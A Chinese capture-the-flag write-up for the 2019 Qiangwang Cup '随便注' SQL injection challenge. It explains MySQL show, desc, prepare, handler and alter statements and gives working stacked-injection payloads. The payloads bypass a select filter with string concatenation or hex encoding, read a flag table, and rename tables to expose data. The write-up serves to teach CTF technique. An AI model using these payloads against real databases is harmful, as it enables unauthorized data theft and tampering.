[强网杯 2019]随便注

[强网杯 2019]随便注 wp

强烈推荐博客:[强网杯 2019]随便注 1【SQL注入】四种解法

这篇博客已经把解题过程讲得很清楚了,本文着重补充扩展知识,目的是帮助自己更好地掌握。解题步骤在最后。

show 语句的用法

推荐博客:MySQL中show语法使用总结

查看所有数据库:

复制代码
show databases;

查看数据库中所有的表:

复制代码
show tables from database_name;

查看当前数据库下所有的表:

复制代码
show tables;

查看表中所有的列:

复制代码
show columns from database_name.table_name;

如果 database_name 是当前数据库,那么也可以省略。

注意最后一定要带分号。

在本题中,select 关键字被过滤,可以使用 show 语句查询。

DESC 语句的用法

推荐文章:在 MySQL 中使用 DESC 查看一个表的所有的列

在 MySQL 中,DESC 语句用来显示一个表的所有的列的信息。MySQL DESC 语句是 SHOW COLUMNS 的简化形式。

语法:

复制代码
DESC [database_name.]table_name

在本题中,select 关键字被过滤,查询列名时,DESC 语句和 SHOW COLUMNS 语句都可以用。

sql 语句反引号

推荐博客:

在mysql语句中为什么要加反引号

mysql 标识符以数字开头

sql 语句中的反引号是为了区分 MySQL 的保留字与普通字符而引入的符号。

例如:

复制代码
SELECT `select` FROM `test` WHERE select='字段值'

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被解析为一个数字常量,截断到数字部分,造成语法错误。

例如,表名为 123table 时,如果不加反引号,会被解析为 123 。

在本题中,flag 列所在的表名为 1919810931114514 ,需要添加反引号。

prepare 预编译语句

推荐博客:预编译语句(Prepared Statements)介绍,以MySQL为例

语法:

预编译:

复制代码
PREPARE name FROM statement;

执行:

复制代码
EXECUTE name [USING @var_name [, @var_name] ...];

例如:

sql 复制代码
prepare ins from 'insert into t select ?,?';
set @a=999,@b='hello';
execute ins using @a,@b;

? 作为占位符,@a 和 @b 会填充到问号的位置。

在本题中,prepare 预编译语句用来在最后查看 flag 时绕过 select 的过滤:

一种方式是使用 concat 函数进行字符串拼接:

复制代码
-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+

另一种方法是使用 十六进制编码:

复制代码
-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#

其中 73656C65637420666C61672066726F6D20603139313938313039333131313435313460 是

复制代码
select flag from `1919810931114514`

的十六进制编码。

handler 语句操作表

HANDLER 语句是 MySQL 特有的,它不属于 SQL 标准中的一部分。

参考:HANDLER 语句- MySQL 8.0 参考手册

打开表:

复制代码
HANDLER table_name OPEN

HANDLER ... READ 语法获取一行:

sql 复制代码
# 第一种HANDLER ... READ语法获取一行,其中指定的索引满足给定的值并且满足 WHERE条件。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 第二种HANDLER ... READ语法以符合 WHERE条件的索引顺序从表中获取一行。 
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 第三种HANDLER ... READ语法以符合 WHERE条件的自然行顺序从表中获取一行。
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

关闭表:

sql 复制代码
HANDLER table_name CLOSE

在本题中,由于 select 被过滤,可以用 handler 语句直接查看 flag 。

复制代码
-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+

alter 语句修改名称

推荐教程:SQL ALTER TABLE 语句

修改表名:

复制代码
alter table table_name rename to new_name

修改表中的列名:

复制代码
alter table table_name change column_name new_name new_data_type

在本题中,通过:

复制代码
-1';show tables;--+

可以发现当前数据库中只有两个表:words 和 1919810931114514 。

分别查看这两个表的列:

复制代码
-1';show columns from words;--+
-1';show columns from `1919810931114514`;--+

可以发现 flag 列存在于 1919810931114514 表中,故而默认显示的是 words 表的内容。select 被过滤,无法直接查看 flag 。那么可以通过将 1919810931114514 表的表名修改为 words ,将列名 flag 修改为 words 中存在的列名,那么 flag 就可以直接被查询出来。

复制代码
-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后通过 1' or 1=1--+ 成功查询出来。

这里需要注意的是,输入框中输入的字符会被拼接到 id 查询中,故而 id 字段必须存在,所以这里是将 flag 字段改名为 id 。

解题步骤:

测试注释符,在 nssctf 上用 # 不行,所以我用的是 --+ :

复制代码
1' or 1=1--+

测试回显位数,两列:

复制代码
1' group by 2--+

查询数据库,由于点被过滤,暂时无法查询其他数据库中表的列名,故而这一步无用:

复制代码
-1';show databases;--+

查询当前数据库下的所有表:

复制代码
-1';show tables;--+

查询 1919810931114514 表中的所有列,两种方法:

复制代码
-1';show columns from `1919810931114514`;--+
# 或
-1';desc `1919810931114514`; --+

查询 flag ,多种方法:

prepare+concat:

复制代码
-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+

prepare+十六进制编码:

复制代码
-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#

handler 查询表:

复制代码
-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+

alter 修改名称:

复制代码
-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后用 -1' or 1=1--+ 查询出所有内容。

相关推荐
m0_6239556624 分钟前
Oracle使用SQL一次性向表中插入多行数据
数据库·sql·oracle
jnrjian3 小时前
Oracle RAC环境 加错数据文件 的修复 归档非归档都没问题
sql·oracle
薄荷椰果抹茶7 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
亚马逊云开发者8 小时前
全景解读亚马逊云科技的 GenBI 解决方案:三大路径助力企业智能决策升级
sql·llm
游戏开发爱好者814 小时前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
HumanRisk14 小时前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
安全系统学习17 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
双力臂40418 小时前
MyBatis动态SQL进阶:复杂查询与性能优化实战
java·sql·性能优化·mybatis
A__tao19 小时前
一键将 SQL 转为 Java 实体类,全面支持 MySQL / PostgreSQL / Oracle!
java·sql·mysql
江苏思维驱动智能研究院有限公司20 小时前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全